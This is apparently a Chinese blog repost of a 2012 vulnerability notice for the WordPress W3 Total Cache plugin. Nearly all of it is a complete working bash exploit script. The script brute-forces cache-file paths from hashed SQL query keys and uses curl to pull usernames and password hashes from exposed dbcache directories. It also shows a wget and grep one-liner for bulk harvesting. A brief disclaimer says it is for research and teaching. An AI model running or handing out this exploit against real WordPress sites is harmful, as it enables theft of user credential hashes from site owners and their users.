zoukankan      html  css  js  c++  java
  • WordPress插件W3 Total 缓存数据信息泄露漏洞

    发布时间: 2012-12-28

    测试方法:

    程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

     1 #!/bin/bash
     2 # (C) Copyright 2012 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved.
     3 #
     4 # |---------------|
     5 # | W3 Total Fail |
     6 # |    by zx2c4   |
     7 # |---------------|
     8 # 
     9 # For more info, see built-in help text.
    10 # Most up to date version is available at: http://git.zx2c4.com/w3-total-fail/tree/w3-total-fail.sh
    11 #
    12 # This affects all current versions of W3 Total Cache up to and including the latest version, 0.9.2.4.
    13 # W3 Total Cache是一款wp上非常流程的缓存插件,它可以动态页面缓存、CSS\JS压缩、数据库缓存、CDN加速等,类似的插件还有WP Super Cache、DB Cache Reloaded等等。缓存中的数据被存储在任意用户可以访问的目录,攻击者可以利用该目录获取密码hash值和其他的一些数据库信息。
    14 set -f
    15  
    16  
    17 printf "\033[1m\033[31m"
    18 echo "<===== W3 Total Fail =====>"
    19 echo "<                         >"
    20 echo "<        by zx2c4         >"
    21 echo "<                         >"
    22 echo "<=========================>"
    23 echo
    24 echo
    25 printf "\033[0m\033[1m"
    26 echo "W3 Total Fail works by attempting to guess SQL queries that might"
    27 echo "contain important password hashes. It walks through"
    28 printf "\033[0m"
    29 echo "     http://\$wordpress/wp-content/w3tc/dbcache/..."
    30 printf "\033[1m"
    31 echo "until it's found the right files. If this directory has directory"
    32 echo "index listings turned on, you might have more luck downloading the"
    33 echo "entire folder and grepping locally for patterns, like so:"
    34 printf "\033[0m"
    35 echo "    \$ wget -np -r http://\$wordpress/wp-content/w3tc/dbcache/"
    36 echo "    \$ grep -Ra user_pass ."
    37 printf "\033[1m"
    38 echo "If directory listings are not available, then this is the tool for"
    39 echo "you, as it will try to brute force possible w3tc keys. It will try"
    40 echo "25 user ids and 25 site ids. Adjust the script for more or less range."
    41 echo
    42 echo "Enjoy!"
    43 echo
    44 echo "- zx2c4"
    45 echo "Dec 24, 2012"
    46 echo
    47 printf "\033[0m"
    48  
    49 printf "\033[0m\033[36m"
    50 echo "Usage: $0 HOST [URLBASE] [DBPREFIX]"
    51 echo
    52 echo "HOST should be the name of the host that is stored by wordpress. It"
    53 echo "may be the actual host name of the server, or it might be something"
    54 echo "different, depending on how wordpress is configured."
    55 echo "Example: blog.zx2c4.com"
    56 echo
    57 echo "URLBASE is the base URL of the wordpress blog which are prefixed in"
    58 echo "forming HTTP requests. If not specified it will default to http://\$HOST"
    59 echo "Example: http://blog.zx2c4.com or https://someblahblasite.com/my_blog"
    60 echo
    61 echo "DBPREFIX is the wordpress prefix used for database table names. It"
    62 echo "is often \"wp_\", which DBPREFIX defaults to if this argument is"
    63 echo "unspecified. Some wordpress installations will use an empty prefix,"
    64 echo "and others use a site-specific prefix. Most, however, will use the"
    65 echo "default."
    66 echo "Example: wp_"
    67 echo
    68 printf "\033[0m"
    69  
    70 if [ $# -lt 1 ]; then
    71   echo "Error: HOST is a required argument."
    72   exit 1
    73 fi
    74  
    75 host="$1"
    76 urlbase="${2:-http://$host}"
    77 db_prefix="$3"
    78 [ $# -lt 3 ] && db_prefix="wp_"
    79  
    80 for site_id in {1..25} 0; do for user_id in {1..25}; do
    81   query="SELECT * FROM ${db_prefix}users WHERE ID = '$user_id'"
    82   key="w3tc_${host}_${site_id}_sql_$(echo -n "$query"|md5sum|cut -d ' ' -f 1)"
    83   hash="$(echo -n "$key"|md5sum|cut -d ' ' -f 1)"
    84   hash_path="${hash:0:1}/${hash:1:1}/${hash:2:1}/${hash}"
    85   url="$urlbase/wp-content/w3tc/dbcache/$hash_path"
    86  
    87   printf "\033[33m"
    88   echo -n "Attempting"
    89   printf "\033[0m"
    90   echo " $url..."
    91   curl -s "$url" | tail -c +5 | tr -d '\n' | sed -n 's/.*"user_login";s:[0-9]\+:"\([^"]*\)";s:[0-9]\+:"user_pass";s:[0-9]\+:"\([^"]*\)".*/\x1b[1m\x1b[32mUsername: \1\nPassword hash: \2\x1b[0m\n/p'
    92  
    93 done; done
  • 相关阅读:
    STL:set/multiset用法详解
    STL:list用法详解
    STL:deque用法详解
    STL:vector容器用法详解
    Axure RP chrome插件显示已损坏或者无法安装的解决方法
    怎样知道自己机器的出口网关IP(即外部IP)
    [Selenium]怎样验证页面是否有无变化
    [Selenium]刷新页面 Refresh page
    [SoapUI]怎样获取隐藏元素的文本内容Get text of hidden element
    [SoapUI]怎样从应答报文中获取某个字段的值,然后用其改写某个变量
  • 原文地址:https://www.cnblogs.com/security4399/p/2837906.html
Copyright © 2011-2022 走看看